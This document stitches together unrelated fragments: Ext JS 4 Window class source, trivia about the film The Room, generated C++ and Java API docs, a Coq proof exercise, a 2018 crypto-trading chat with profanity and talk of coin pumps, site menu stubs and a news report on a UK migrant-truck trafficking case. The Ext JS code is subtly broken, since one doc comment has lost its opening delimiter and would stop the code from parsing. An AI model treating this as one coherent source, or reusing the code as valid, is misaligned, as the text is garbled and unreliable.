/* This file is part of Ext JS 4 Copyright (c) 2011 Sencha Inc Contact: http://www.sencha.com/contact Commercial Usage Licensees holding valid commercial licenses may use this file in accordance with the Commercial Software License Agreement provided with the Software or, alternatively, in accordance with the terms contained in a written agreement between you and Sencha. If you are unsure which license is appropriate for your use, please contact the sales department at http://www.sencha.com/contact. */ /** * A specialized panel intended for use as an application window. Windows are floated, {@link #resizable}, and * {@link #draggable} by default. Windows can be {@link #maximizable maximized} to fill the viewport, restored to * their prior size, and can be {@link #minimize}d. * * Windows can also be linked to a {@link Ext.ZIndexManager} or managed by the {@link Ext.WindowManager} to provide * grouping, activation, to front, to back and other application-specific behavior. * * By default, Windows will be rendered to document.body. To {@link #constrain} a Window to another element specify * {@link Ext.Component#renderTo renderTo}. * * **As with all {@link Ext.container.Container Container}s, it is important to consider how you want the Window to size * and arrange any child Components. Choose an appropriate {@link #layout} configuration which lays out child Components * in the required manner.** * * @example * Ext.create('Ext.window.Window', { * title: 'Hello', * height: 200, * width: 400, * layout: 'fit', * items: { // Let's put an empty grid in just to illustrate fit layout * xtype: 'grid', * border: false, * columns: [{header: 'World'}], // One header just for show. There's no data, * store: Ext.create('Ext.data.ArrayStore', {}) // A dummy empty data store * } * }).show(); */ Ext.define('Ext.window.Window', { extend: 'Ext.panel.Panel', alternateClassName: 'Ext.Window', requires: ['Ext.util.ComponentDragger', 'Ext.util.Region', 'Ext.EventManager'], alias: 'widget.window', /** * @cfg {Number} x * The X position of the left edge of the window on initial showing. Defaults to centering the Window within the * width of the Window's container {@link Ext.Element Element} (The Element that the Window is rendered to). */ /** * @cfg {Number} y * The Y position of the top edge of the window on initial showing. Defaults to centering the Window within the * height of the Window's container {@link Ext.Element Element} (The Element that the Window is rendered to). */ /** * @cfg {Boolean} [modal=false] * True to make the window modal and mask everything behind it when displayed, false to display it without * restricting access to other UI elements. */ /** * @cfg {String/Ext.Element} [animateTarget=null] * Id or element from which the window should animate while opening. */ /** * @cfg {String/Number/Ext.Component} defaultFocus * Specifies a Component to receive focus when this Window is focused. * * This may be one of: * * - The index of a footer Button. * - The id or {@link Ext.AbstractComponent#itemId} of a descendant Component. * - A Component. */ /** * @cfg {Function} onEsc * Allows override of the built-in processing for the escape key. Default action is to close the Window (performing * whatever action is specified in {@link #closeAction}. To prevent the Window closing when the escape key is * pressed, specify this as {@link Ext#emptyFn Ext.emptyFn}. */ /** * @cfg {Boolean} [collapsed=false] * True to render the window collapsed, false to render it expanded. Note that if {@link #expandOnShow} * is true (the default) it will override the `collapsed` config and the window will always be * expanded when shown. */ /** * @cfg {Boolean} [maximized=false] * True to initially display the window in a maximized state. */ /** * @cfg {String} [baseCls='x-window'] * The base CSS class to apply to this panel's element. */ baseCls: Ext.baseCSSPrefix + 'window', /** * @cfg {Boolean/Object} resizable * Specify as `true` to allow user resizing at each edge and corner of the window, false to disable resizing. * * This may also be specified as a config object to Ext.resizer.Resizer */ resizable: true, /** * @cfg {Boolean} draggable * True to allow the window to be dragged by the header bar, false to disable dragging. Note that * by default the window will be centered in the viewport, so if dragging is disabled the window may need to be * positioned programmatically after render (e.g., myWindow.setPosition(100, 100);). */ draggable: true, /** * @cfg {Boolean} constrain * True to constrain the window within its containing element, false to allow it to fall outside of its containing * element. By default the window will be rendered to document.body. To render and constrain the window within * another element specify {@link #renderTo}. Optionally the header only can be constrained * using {@link #constrainHeader}. */ constrain: false, /** * @cfg {Boolean} constrainHeader * True to constrain the window header within its containing element (allowing the window body to fall outside of * its containing element) or false to allow the header to fall outside its containing element. * Optionally the entire window can be constrained using {@link #constrain}. */ constrainHeader: false, /** * @cfg {Boolean} plain * True to render the window body with a transparent background so that it will blend into the framing elements, * false to add a lighter background color to visually highlight the body element and separate it more distinctly * from the surrounding frame. */ plain: false, /** * @cfg {Boolean} minimizable * True to display the 'minimize' tool button and allow the user to minimize the window, false to hide the button * and disallow minimizing the window. Note that this button provides no implementation -- the * behavior of minimizing a window is implementation-specific, so the minimize event must be handled and a custom * minimize behavior implemented for this option to be useful. */ minimizable: false, /** * @cfg {Boolean} maximizable * True to display the 'maximize' tool button and allow the user to maximize the window, false to hide the button * and disallow maximizing the window. Note that when a window is maximized, the tool button * will automatically change to a 'restore' button with the appropriate behavior already built-in that will restore * the window to its previous size. */ maximizable: false, // inherit docs minHeight: 100, // inherit docs minWidth: 200, /** * @cfg {Boolean} expandOnShow * True to always expand the window when it is displayed, false to keep it in its current state (which may be * {@link #collapsed}) when displayed. */ expandOnShow: true, // inherited docs, same default collapsible: false, /** * @cfg {Boolean} closable * True to display the 'close' tool button and allow the user to close the window, false to hide the button and * disallow closing the window. * * By default, when close is requested by either clicking the close button in the header or pressing ESC when the * Window has focus, the {@link #close} method will be called. This will _{@link Ext.Component#destroy destroy}_ the * Window and its content meaning that it may not be reused. * * To make closing a Window _hide_ the Window so that it may be reused, set {@link #closeAction} to 'hide'. */ closable: true, * @cfg {Boolean} hidden * Render this Window hidden. If `true`, the {@link #hide} method will be called internally. */ hidden: true, // Inherit docs from Component. Windows render to the body on first show. autoRender: true, // Inherit docs from Component. Windows hide using visibility. hideMode: 'visibility', /** @cfg {Boolean} floating @hide Windows are always floating*/ floating: true, ariaRole: 'alertdialog', itemCls: 'x-window-item', overlapHeader: true, ignoreHeaderBorderManagement: true, // private initComponent: function() { var me = this; me.callParent(); me.addEvents( /** * @event activate * Fires after the window has been visually activated via {@link #setActive}. * @param {Ext.window.Window} this */ /** * @event deactivate * Fires after the window has been visually deactivated via {@link #setActive}. * @param {Ext.window.Window} this */ /** * @event resize * Fires after the window has been resized. * @param {Ext.window.Window} this * @param {Number} width The window's new width * @param {Number} height The window's new height */ 'resize', /** * @event maximize * Fires after the window has been maximized. * @param {Ext.window.Window} this */ 'maximize', /** * @event minimize * Fires after the window has been minimized. * @param {Ext.window.Window} this */ 'minimize', /** * @event restore * Fires after the window has been restored to its original size after being maximized. * @param {Ext.window.Window} this */ 'restore' ); if (me.plain) { me.addClsWithUI('plain'); } if (me.modal) { me.ariaRole = 'dialog'; } }, // State Management // private initStateEvents: function(){ var events = this.stateEvents; // push on stateEvents if they don't exist Ext.each(['maximize', 'restore', 'resize', 'dragend'], function(event){ if (Ext.Array.indexOf(events, event)) { events.push(event); } }); this.callParent(); }, getState: function() { var me = this, state = me.callParent() || {}, maximized = !!me.maximized; state.maximized = maximized; Ext.apply(state, { size: maximized ? me.restoreSize : me.getSize(), pos: maximized ? me.restorePos : me.getPosition() }); return state; }, applyState: function(state){ var me = this; if (state) { me.maximized = state.maximized; if (me.maximized) { me.hasSavedRestore = true; me.restoreSize = state.size; me.restorePos = state.pos; } else { Ext.apply(me, { width: state.size.width, height: state.size.height, x: state.pos[0], y: state.pos[1] }); } } }, // private onMouseDown: function (e) { var preventFocus; if (this.floating) { if (Ext.fly(e.getTarget()).focusable()) { preventFocus = true; } this.toFront(preventFocus); } }, // private onRender: function(ct, position) { var me = this; me.callParent(arguments); me.focusEl = me.el; // Double clicking a header will toggleMaximize if (me.maximizable) { me.header.on({ dblclick: { fn: me.toggleMaximize, element: 'el', scope: me } }); } }, // private afterRender: function() { var me = this, hidden = me.hidden, keyMap; me.hidden = false; // Component's afterRender sizes and positions the Component me.callParent(); me.hidden = hidden; // Create the proxy after the size has been applied in Component.afterRender me.proxy = me.getProxy(); // clickToRaise me.mon(me.el, 'mousedown', me.onMouseDown, me); // allow the element to be focusable me.el.set({ tabIndex: -1 }); // Initialize if (me.maximized) { me.maximized = false; me.maximize(); } if (me.closable) { keyMap = me.getKeyMap(); keyMap.on(27, me.onEsc, me); //if (hidden) { ? would be consistent w/before/afterShow... keyMap.disable(); //} } if (!hidden) { me.syncMonitorWindowResize(); me.doConstrain(); } }, /** * @private * @override * Override Component.initDraggable. * Window uses the header element as the delegate. */ initDraggable: function() { var me = this, ddConfig; if (!me.header) { me.updateHeader(true); } /* * Check the header here again. If for whatever reason it wasn't created in * updateHeader (preventHeader) then we'll just ignore the rest since the * header acts as the drag handle. */ if (me.header) { ddConfig = Ext.applyIf({ el: me.el, delegate: '#' + me.header.id }, me.draggable); // Add extra configs if Window is specified to be constrained if (me.constrain || me.constrainHeader) { ddConfig.constrain = me.constrain; ddConfig.constrainDelegate = me.constrainHeader; ddConfig.constrainTo = me.constrainTo || me.container; } /** * @property {Ext.util.ComponentDragger} dd * If this Window is configured {@link #draggable}, this property will contain an instance of * {@link Ext.util.ComponentDragger} (A subclass of {@link Ext.dd.DragTracker DragTracker}) which handles dragging * the Window's DOM Element, and constraining according to the {@link #constrain} and {@link #constrainHeader} . * * This has implementations of `onBeforeStart`, `onDrag` and `onEnd` which perform the dragging action. If * extra logic is needed at these points, use {@link Ext.Function#createInterceptor createInterceptor} or * {@link Ext.Function#createSequence createSequence} to augment the existing implementations. */ me.dd = Ext.create('Ext.util.ComponentDragger', this, ddConfig); me.relayEvents(me.dd, ['dragstart', 'drag', 'dragend']); } }, // private onEsc: function(k, e) { e.stopEvent(); this[this.closeAction](); }, // private beforeDestroy: function() { var me = this; if (me.rendered) { delete this.animateTarget; me.hide(); Ext.destroy( me.keyMap ); } me.callParent(); }, /** * @private * @override * Contribute class-specific tools to the header. * Called by Panel's initTools. */ addTools: function() { var me = this; // Call Panel's initTools me.callParent(); if (me.minimizable) { me.addTool({ type: 'minimize', handler: Ext.Function.bind(me.minimize, me, []) }); } if (me.maximizable) { me.addTool({ type: 'maximize', handler: Ext.Function.bind(me.maximize, me, []) }); me.addTool({ type: 'restore', handler: Ext.Function.bind(me.restore, me, []), hidden: true }); } }, /** * Gets the configured default focus item. If a {@link #defaultFocus} is set, it will receive focus, otherwise the * Container itself will receive focus. */ getFocusEl: function() { var me = this, f = me.focusEl, defaultComp = me.defaultButton || me.defaultFocus, t = typeof db, el, ct; if (Ext.isDefined(defaultComp)) { if (Ext.isNumber(defaultComp)) { f = me.query('button')[defaultComp]; } else if (Ext.isString(defaultComp)) { f = me.down('#' + defaultComp); } else { f = defaultComp; } } return f || me.focusEl; }, // private beforeShow: function() { this.callParent(); if (this.expandOnShow) { this.expand(false); } }, // private afterShow: function(animateTarget) { var me = this, animating = animateTarget || me.animateTarget; // No constraining code needs to go here. // Component.onShow constrains the Component. *If the constrain config is true* // Perform superclass's afterShow tasks // Which might include animating a proxy from an animateTarget me.callParent(arguments); if (me.maximized) { me.fitContainer(); } me.syncMonitorWindowResize(); if (!animating) { me.doConstrain(); } if (me.keyMap) { me.keyMap.enable(); } }, // private doClose: function() { var me = this; // Being called as callback after going through the hide call below if (me.hidden) { me.fireEvent('close', me); if (me.closeAction == 'destroy') { this.destroy(); } } else { // close after hiding me.hide(me.animateTarget, me.doClose, me); } }, // private afterHide: function() { var me = this; // No longer subscribe to resizing now that we're hidden me.syncMonitorWindowResize(); // Turn off keyboard handling once window is hidden if (me.keyMap) { me.keyMap.disable(); } // Perform superclass's afterHide tasks. me.callParent(arguments); }, // private onWindowResize: function() { if (this.maximized) { this.fitContainer(); } this.doConstrain(); }, /** * Placeholder method for minimizing the window. By default, this method simply fires the {@link #minimize} event * since the behavior of minimizing a window is application-specific. To implement custom minimize behavior, either * the minimize event can be handled or this method can be overridden. * @return {Ext.window.Window} this */ minimize: function() { this.fireEvent('minimize', this); return this; }, afterCollapse: function() { var me = this; if (me.maximizable) { me.tools.maximize.hide(); me.tools.restore.hide(); } if (me.resizer) { me.resizer.disable(); } me.callParent(arguments); }, afterExpand: function() { var me = this; if (me.maximized) { me.tools.restore.show(); } else if (me.maximizable) { me.tools.maximize.show(); } if (me.resizer) { me.resizer.enable(); } me.callParent(arguments); }, /** * Fits the window within its current container and automatically replaces the {@link #maximizable 'maximize' tool * button} with the 'restore' tool button. Also see {@link #toggleMaximize}. * @return {Ext.window.Window} this */ maximize: function() { var me = this; if (!me.maximized) { me.expand(false); if (!me.hasSavedRestore) { me.restoreSize = me.getSize(); me.restorePos = me.getPosition(true); } if (me.maximizable) { me.tools.maximize.hide(); me.tools.restore.show(); } me.maximized = true; me.el.disableShadow(); if (me.dd) { me.dd.disable(); } if (me.collapseTool) { me.collapseTool.hide(); } me.el.addCls(Ext.baseCSSPrefix + 'window-maximized'); me.container.addCls(Ext.baseCSSPrefix + 'window-maximized-ct'); me.syncMonitorWindowResize(); me.setPosition(0, 0); me.fitContainer(); me.fireEvent('maximize', me); } return me; }, /** * Restores a {@link #maximizable maximized} window back to its original size and position prior to being maximized * and also replaces the 'restore' tool button with the 'maximize' tool button. Also see {@link #toggleMaximize}. * @return {Ext.window.Window} this */ restore: function() { var me = this, tools = me.tools; if (me.maximized) { delete me.hasSavedRestore; me.removeCls(Ext.baseCSSPrefix + 'window-maximized'); // Toggle tool visibility if (tools.restore) { tools.restore.hide(); } if (tools.maximize) { tools.maximize.show(); } if (me.collapseTool) { me.collapseTool.show(); } // Restore the position/sizing me.setPosition(me.restorePos); me.setSize(me.restoreSize); // Unset old position/sizing delete me.restorePos; delete me.restoreSize; me.maximized = false; me.el.enableShadow(true); // Allow users to drag and drop again if (me.dd) { me.dd.enable(); } me.container.removeCls(Ext.baseCSSPrefix + 'window-maximized-ct'); me.syncMonitorWindowResize(); me.doConstrain(); me.fireEvent('restore', me); } return me; }, /** * Synchronizes the presence of our listener for window resize events. This method * should be called whenever this status might change. * @private */ syncMonitorWindowResize: function () { var me = this, currentlyMonitoring = me._monitoringResize, // all the states where we should be listening to window resize: yes = me.monitorResize || me.constrain || me.constrainHeader || me.maximized, // all the states where we veto this: veto = me.hidden || me.destroying || me.isDestroyed; if (yes && !veto) { // we should be listening... if (!currentlyMonitoring) { // but we aren't, so set it up Ext.EventManager.onWindowResize(me.onWindowResize, me); me._monitoringResize = true; } } else if (currentlyMonitoring) { // we should not be listening, but we are, so tear it down Ext.EventManager.removeResizeListener(me.onWindowResize, me); me._monitoringResize = false; } }, /** * A shortcut method for toggling between {@link #maximize} and {@link #restore} based on the current maximized * state of the window. * @return {Ext.window.Window} this */ toggleMaximize: function() { return this[this.maximized ? 'restore': 'maximize'](); } /** * @cfg {Boolean} autoWidth @hide * Absolute positioned element and therefore cannot support autoWidth. * A width is a required configuration. **/ });


-
Average views/24 hours
-
Views
-
Views from unique ip addresses
Regions
Recent visits
Location
Time
Visits from sources
Data tags
X


We need some dope lighting for all of these amazing sex scenes.
Wiseau: ”[My past] has nothing to do with what I do. My private life is my private life.”
Let's remake this movie in 4K
Juliette Danielle, Room cast member: “We tried for a long time to find out where he’s from. We never got an answer.”
Attraction... you are now deeply attracted to Tommy Wiseayeuaioe.
Danielle: “I can remember one time that I just lost it. It’s the line where Johnny has locked himself in the bathroom and he says, ‘In a few minutes, bitch.’ I was doing okay until I saw the entire crew in my field of vision, stifling their laughter. I couldn’t help it. Tommy came out and demanded to know what was so funny. That made it worse!”
1. IT WAS CONCEIVED AS A STAGE PLAY. The Room sprung from the mind of Tommy Wiseau, its mysterious co-producer, screenwriter, director, and star. At first, he wanted it to be a play but decided that a feature film would be more profitable. Before tackling the script though, Wiseau turned his tale into a 500-page novel. “It’s the same story but it’s much more detail-oriented,” he told The Portland Mercury. What became of this tome? Wiseau says, “Eventually we will publish. I’m pretty sure, 100 percent.” Apparently, one publishing company has expressed an interest in putting it out—if he can reduce the length to 300 pages.
2. TOMMY WISEAU WANTED TO INCLUDE A FLYING CAR. The main character in The Room is Johnny (Wiseau), a banker who loves tossing footballs, imitating chickens, and hanging out with his best buddy, Mark (played by Greg Sestero). But is there more to Johnny than meets the eye? In 2013, Sestero released The Disaster Artist, a tell-all book about The Room and its bizarre production. Inside, we learn that Wiseau often ambushed the crew mid-shoot with ideas for brand-new scenes. One of these—which was never filmed—would’ve involved Johnny’s car levitating up off his roof and into the sky. “It’s just possible side plot,” Wiseau elucidated. “Maybe Johnny is vampire.”
3. TO PREPARE FOR THE ROLE OF LISA, JULIETTE DANIELLE WATCHED EYES WIDE SHUT. Throughout the film, Mark is having an affair with Johnny’s fiancée, Lisa. Originally, the part was given to an unidentified actress whom Wiseau later fired. Once she left, Danielle took over—even though she had already been cast as Michelle (Lisa’s best friend) when she was handed this very different character. To help her get inside Lisa’s head, Wiseau had the actress watch Stanley Kubrick’s Eyes Wide Shut—but he never explained why. “I still don’t know what he was trying to do there,” Danielle admitted.
4. THE ROOM’S INFAMOUS SPOON PICTURES WERE STOCK PHOTOS. Johnny and Lisa really seem to like cutlery. For reasons the movie never makes clear, their apartment is decked out with pictures of spoons. These actually came with the frames that Wiseau’s team had bought to decorate the set. Instead of replacing the throwaway photos, he kept them in. Why? Sestero says that Wiseau just wanted to “get on with the filming” and didn’t think there’d be time to find new pictures. On the other hand, the director himself swears that these spoons have a deep symbolic purpose—namely, they represent America’s unhealthy dependence on disposable products. In any event, whenever The Room is presented in theaters nowadays, those stock photos steal the show. Every time they appear, fans yell “Spoon!” and throw plastic ones at the screen.
Lead Designer
Lead Marketer
Lead Developer
"I like acting better than anything else, but, you know, directing's good."
"You cannot have the drama without comedy."
"I like vampires"


|
| static LRESULT CALLBACK | MSGInit (HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) |
| |
| static LRESULT CALLBACK | MSGMiddleWare (HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) |
| |
◆ Window()
| Window::Window |
( |
unsigned int |
pw, |
|
|
unsigned int |
ph, |
|
|
const WCHAR * |
pwindow_title |
|
) |
| |
◆ ~Window()
◆ GetInstance()
| HINSTANCE Window::GetInstance |
( |
| ) |
|
◆ HandleMSG()
| LRESULT Window::HandleMSG |
( |
HWND |
hWnd, |
|
|
UINT |
message, |
|
|
WPARAM |
wParam, |
|
|
LPARAM |
lParam |
|
) |
| |
◆ MSGInit()
| LRESULT Window::MSGInit |
( |
HWND |
hWnd, |
|
|
UINT |
message, |
|
|
WPARAM |
wParam, |
|
|
LPARAM |
lParam |
|
) |
| |
|
static |
◆ MSGMiddleWare()
| LRESULT Window::MSGMiddleWare |
( |
HWND |
hWnd, |
|
|
UINT |
message, |
|
|
WPARAM |
wParam, |
|
|
LPARAM |
lParam |
|
) |
| |
|
static |
◆ ProcessMessages()
| UINT Window::ProcessMessages |
( |
| ) |
|
◆ SetWindowTitle()
| void Window::SetWindowTitle |
( |
const WCHAR * |
new_title | ) |
|
The documentation for this class was generated from the following files:
- window_abstraction_sandbox/Window.h
- window_abstraction_sandbox/Window.cpp


|
|||||||||||
| PREV NEXT | FRAMES NO FRAMES |
| org.axiondb.* |
| org.axiondb.FromNode | ||
public static final int |
TYPE_FULL |
4 |
public static final int |
TYPE_INNER |
1 |
public static final int |
TYPE_LEFT |
2 |
public static final int |
TYPE_RIGHT |
3 |
public static final int |
TYPE_SINGLE |
0 |
public static final int |
TYPE_UNDEFINED |
-1 |
| org.axiondb.Table | ||
public static final String |
REGULAR_TABLE_TYPE |
"TABLE" |
public static final String |
SYSTEM_TABLE_TYPE |
"SYSTEM TABLE" |
| org.axiondb.Transaction | ||
public static final int |
STATE_ABORTED |
2 |
public static final int |
STATE_APPLIED |
3 |
public static final int |
STATE_COMMITTED |
1 |
public static final int |
STATE_OPEN |
0 |
| org.axiondb.jdbc.ConnectionFactory | ||
public static final String |
URL_PREFIX |
"jdbc:axiondb:" |
| org.axiondb.parser.AxionSqlParserConstants | ||
public static final int |
ADD |
7 |
public static final int |
ALL |
8 |
public static final int |
ALTER |
9 |
public static final int |
AND |
10 |
public static final int |
ASC |
11 |
public static final int |
ASSIGN |
77 |
public static final int |
ASTERISK |
92 |
public static final int |
BEGIN |
12 |
public static final int |
BETWEEN |
13 |
public static final int |
BLOCK_COMMENT |
6 |
public static final int |
BY |
14 |
public static final int |
CASE |
15 |
public static final int |
CHECK |
16 |
public static final int |
CLOSEPAREN |
91 |
public static final int |
COMMA |
78 |
public static final int |
CONCAT |
79 |
public static final int |
CONSTRAINT |
18 |
public static final int |
CREATE |
17 |
public static final int |
DEFAULT |
0 |
public static final int |
DEFERRABLE |
20 |
public static final int |
DEFERRED |
19 |
public static final int |
DELETE |
21 |
public static final int |
DESC |
22 |
public static final int |
DIGIT |
76 |
public static final int |
DISTINCT |
23 |
public static final int |
DOT |
81 |
public static final int |
DROP |
24 |
public static final int |
ELSE |
25 |
public static final int |
END |
26 |
public static final int |
EOF |
0 |
public static final int |
EQUAL |
86 |
public static final int |
EXISTS |
27 |
public static final int |
EXPONENT |
72 |
public static final int |
FALSE |
28 |
public static final int |
FLOATING_POINT_LITERAL |
71 |
public static final int |
FROM |
29 |
public static final int |
GREATER |
84 |
public static final int |
GREATEREQUAL |
85 |
public static final int |
GROUP |
30 |
public static final int |
HAVING |
31 |
public static final int |
ID |
74 |
public static final int |
IF |
32 |
public static final int |
IMMEDIATE |
33 |
public static final int |
IN |
34 |
public static final int |
INDEX |
36 |
public static final int |
INITIALLY |
35 |
public static final int |
INNER |
37 |
public static final int |
INSERT |
38 |
public static final int |
INTEGER_LITERAL |
70 |
public static final int |
INTO |
39 |
public static final int |
IS |
40 |
public static final int |
JOIN |
41 |
public static final int |
JOINPLUS |
89 |
public static final int |
KEY |
42 |
public static final int |
LEFT |
43 |
public static final int |
LESS |
82 |
public static final int |
LESSEQUAL |
83 |
public static final int |
LETTER |
75 |
public static final int |
LIKE |
44 |
public static final int |
LIMIT |
45 |
public static final int |
LINE_COMMENT |
5 |
public static final int |
MINUS |
95 |
public static final int |
NOT |
46 |
public static final int |
NOTEQUAL |
87 |
public static final int |
NOTEQUAL2 |
88 |
public static final int |
NULL |
47 |
public static final int |
OFFSET |
48 |
public static final int |
ON |
49 |
public static final int |
OPENPAREN |
90 |
public static final int |
OR |
50 |
public static final int |
ORDER |
51 |
public static final int |
OUTER |
52 |
public static final int |
PLUS |
94 |
public static final int |
PRIMARY |
53 |
public static final int |
QUESTIONMARK |
96 |
public static final int |
RIGHT |
54 |
public static final int |
SELECT |
55 |
public static final int |
SEMICOLON |
80 |
public static final int |
SEQUENCE |
56 |
public static final int |
SET |
57 |
public static final int |
SLASH |
93 |
public static final int |
STARTS |
58 |
public static final int |
STRING_LITERAL |
73 |
public static final int |
SYSDATE |
59 |
public static final int |
TABLE |
60 |
public static final int |
THEN |
61 |
public static final int |
TRUE |
62 |
public static final int |
UNIQUE |
63 |
public static final int |
UPDATE |
64 |
public static final int |
USER |
65 |
public static final int |
VALUES |
66 |
public static final int |
WHEN |
67 |
public static final int |
WHERE |
68 |
public static final int |
WITH |
69 |
| org.axiondb.parser.SimpleCharStream | ||
public static final boolean |
staticFlag |
false |
|
|||||||||||
| PREV NEXT | FRAMES NO FRAMES |


It is possible to define the abstract syntax and the semantics of a little programming language with the following inductive definitions:
Section little_semantics. Variables Var aExp bExp : Set. Inductive inst : Set := | Skip : inst | Assign : Var->aExp->inst | Sequence : inst->inst->inst | WhileDo : bExp->inst->inst. Variables (state : Set) (update : state->Var->Z -> option state) (evalA : state->aExp -> option Z) (evalB : state->bExp -> option bool).
Prove that executing a while loop with a body that does not change its state and a conditional test that is true never succeeds to produce a final state. Here is the exact statement:
forall (s s':state)(b:bExp), exec s (WhileDo b Skip) s' -> evalB s b = Some true -> False.


A channel to discuss trading. For useful links and more info click the pinned messages to the right.
100 messages
Before 05-Dec-19 12:00 AM
BlackJesus20-Aug-18 12:07 AM
My strategy is to ride bitcoin cash up and leverage that position for a sizeable position in Komodo before it goes.
The bitcoin Bitcoin cash debacle will be settled in this bear. That I'm for sure of.
I think crypto will moon when global fiat in decline. Not global market, because with market recovering and few viable Fiats that hold value it will put cryptocurrency back into a bull market and only cryptos that work 100% of the time will benefit.(edited)
actionslacks20-Aug-18 12:57 AM
I'm waiting for btc to hit 4k
JimD20-Aug-18 01:04 AM
When is the next KMD pump scheduled for ?
Trading view tells me to sell but who really cares what anonymous people on the internet say
Komodo / Bitcoin (BINANCE:KMDBTC). Get more trading ideas from RackDisiprin. Follow market experts, get opinions and be heard! Join the largest trading & investing community on the planet.
its happening guys
BlackJesus20-Aug-18 02:30 AM
I don't trust those
Deleted User20-Aug-18 03:58 AM
Tradingview is always the opposite of what I reckon it should be LOL.
I might try but cant be bothered
btcmarkets is listing an australian project in the next 24 hours
most likely Powr or hst or something
Last time they listed something new (omg) it sold for $1200 aud LOL
not sure if dumbcunts or bots but whenever this aussie exchange lists a new token
it pumps high as shit for a few minutes when it opens up
What are ways to live off passive income without having to work a job? LOL.
Build their own house - 1.5m
500k - backup cash/fuckaround
2m - Buy 3 properties, rental income
1m - dividend shares?
No idea how finances work but asking for a mate whos as clueless as I am LOL
what do you do/what would you do to make your money work for you, with the endgoal of "not having to work a job"
grewalsatinder20-Aug-18 12:32 PM
abused smily reply: buy loads of KMD. buy more loads of KMD. and more KMD. live off with ~5.1% reward each month.....
Deleted User20-Aug-18 12:32 PM
said person is already all in kmd
and is planning their finance for when the inevatable day comes when they just want to travel the world
and live off passive
grewalsatinder20-Aug-18 12:32 PM
bummer.....
Deleted User20-Aug-18 12:32 PM
I always wondered too like so many teens and clueless people in crypto
im sure a lot will hit it big in the future by sheer luck
but what will they end up doing with the money LOL
90% of the people I know couldnt even handle saving 100 a week
Hollowman900020-Aug-18 12:33 PM
Lilkomodo is a baller
grewalsatinder20-Aug-18 12:33 PM
that's the point. think of ppl like who wins the lottery. doesn't do well for all who win.

Deleted User20-Aug-18 12:33 PM
what stack
To be honest I have 0 knowledge
Hollowman900020-Aug-18 12:34 PM
no stack
grewalsatinder20-Aug-18 12:34 PM
start today. not too late till you die.

I have a lot to learn
grewalsatinder20-Aug-18 12:34 PM
yep, good enough age you have left.... hope.....

Our generation has no future
Hollowman900020-Aug-18 12:35 PM
I’m 35 and a degenerate crypto gambler
grewalsatinder20-Aug-18 12:35 PM
stay away from drugs, stay healthy and start learning money management.
Hollowman900020-Aug-18 12:35 PM
You have plenty of time
grewalsatinder20-Aug-18 12:35 PM
enough of that should help
Deleted User20-Aug-18 12:36 PM
In general though if you had some money, what would be the best way to secure your future (ignoring crypto)
Everything I find on google seems to be pretty shitty way to go about it
grewalsatinder20-Aug-18 12:36 PM
I been to life insurance, and learned about systematic investment while at young age. my parent's doesn't come from business but a job mindset.(edited)
I'm the odd one from family....
Deleted User20-Aug-18 12:36 PM
im the black sheep
grewalsatinder20-Aug-18 12:37 PM
Deleted User20-Aug-18 12:37 PM
If anyone is reading this, stay in school kids LOL
- most important advice that no one ever takes seriously until its too late
or find something you love doing and stick to it that works too
grewalsatinder20-Aug-18 12:40 PM
learn about buying/investing in property.
commodities
precious metals
market psychology in economy/trading etc
.... maybe this will not help much ... meet and be around ppl who make money will also help a lot.
 Its hard to meet people with a good mindset in this generation, hence why I keep to myself mostly LOL.
Ive been looking at property and the whole
grewalsatinder20-Aug-18 12:41 PM
I'd also not advise leaving school for sure.....
bad idea
Deleted User20-Aug-18 12:41 PM
"borrow now, make money while paying it off"
seems so risky
Hollowman900020-Aug-18 12:41 PM
46/54 now on the poll
Deleted User20-Aug-18 12:41 PM
hence why Im thinking would it be better for someone to hypothetically
buy 3 properties fully paid no mortgage
and rent that out
or to buy 10 15 on mortgage and rent that out while paying back the banks
grewalsatinder20-Aug-18 12:42 PM
anyway I got around 33/100 in maths in school.... I'm that bad in maths....
View Equihash algorithm profitability , hashing power, number of orders and miners on NiceHash
Is nicehash ever profitable?
Sorry if thats the stupidest question LOL from what I know, its never profitable
its all ponzi this that, buying coins is cheaper
but just wanted to double check, all I see is everyone buying hashpower, but I dont see why they would do so unless it was profitable?
grewalsatinder20-Aug-18 12:43 PM
should ask this in mining channel
I tried mining when I entered cryptocurrency industry. learned that I'd instead do better buying some and learn how to use my existing knowledge of software development and system administrations to this technology, and make something which will make money.
and here I am.
how's the weather today in cryptoland?
passcombo.com 🏴☠🏴20-Aug-18 12:48 PM
icos not raining so much lately
grewalsatinder20-Aug-18 12:49 PM
that's good news I guess...
passcombo.com 🏴☠🏴20-Aug-18 12:51 PM
interesting is BTC hashrate in 3 months almost doubled
is it important for price impact ?
grewalsatinder20-Aug-18 12:52 PM
hashrate increase should increase the price too if I understand correct.....
1
blackjok3r20-Aug-18 12:54 PM
It should
I have always figured if the hash rate keeps going up, the price has to "recover" eventually.


Home
About
Contact
Nick's Projects
Wouldn't you rather look at dogs than my code?
Husky Here
Gitbub
Projects
These are all the Exercises that I have completed over the week.
The Exercises
The Garage Exercise
The Hangman Exercise


Sales
Consumer Demographics
Charity
Sales
Consumer Demographics
Charity
menu
Hayden Shoes
Consumer Demographics


UK police charge man over Vietnamese migrants disaster
LONDON: A 23-year-old man has been charged with human trafficking offences in connection with the deaths of 39 Vietnamese nationals whose bodies were found in a refrigeration truck in Britain.
Christopher Kennedy, from County Armagh in Northern Ireland, is due to appear at Chelmsford Magistrates' Court in Essex, southeast England, on Monday (Nov 25), police said.
READ: Vietnamese truck victim was at Dutch migrant centre: Report
READ: 'Easy money and a better life': Vietnamese undeterred by UK truck tragedy
He has been charged with conspiracy to arrange or facilitate the travel of people with a view to exploitation, and conspiracy to facilitate the commission of a breach of British immigration law.
Kennedy was arrested early Friday on the M40 motorway.
The bodies of eight women and 31 men were found in a refrigeration trailer on an industrial estate east of London in Essex, on Oct.
The trailer had earlier arrived on a cargo ferry from the Belgian port of Zeebrugge.
Truck driver Mo Robinson, 25, from Northern Ireland, has appeared in court charged with 39 counts of manslaughter, conspiracy to traffic people, conspiracy to assist unlawful immigration and money laundering.
He is scheduled to appear at an administrative hearing at a London court on Monday.
READ: Vietnam 'strongly condemns' human trafficking after UK truck tragedy
READ: Northern Irish man challenges extradition over UK truck deaths
Another man from Northern Ireland, 22-year-old Eamonn Harrison, is facing extradition proceedings for the same charges and appeared in court in Dublin on Thursday.
The case was adjourned until Dec 12.
Three other people have also been arrested, questioned and released on bail as part of the investigation.
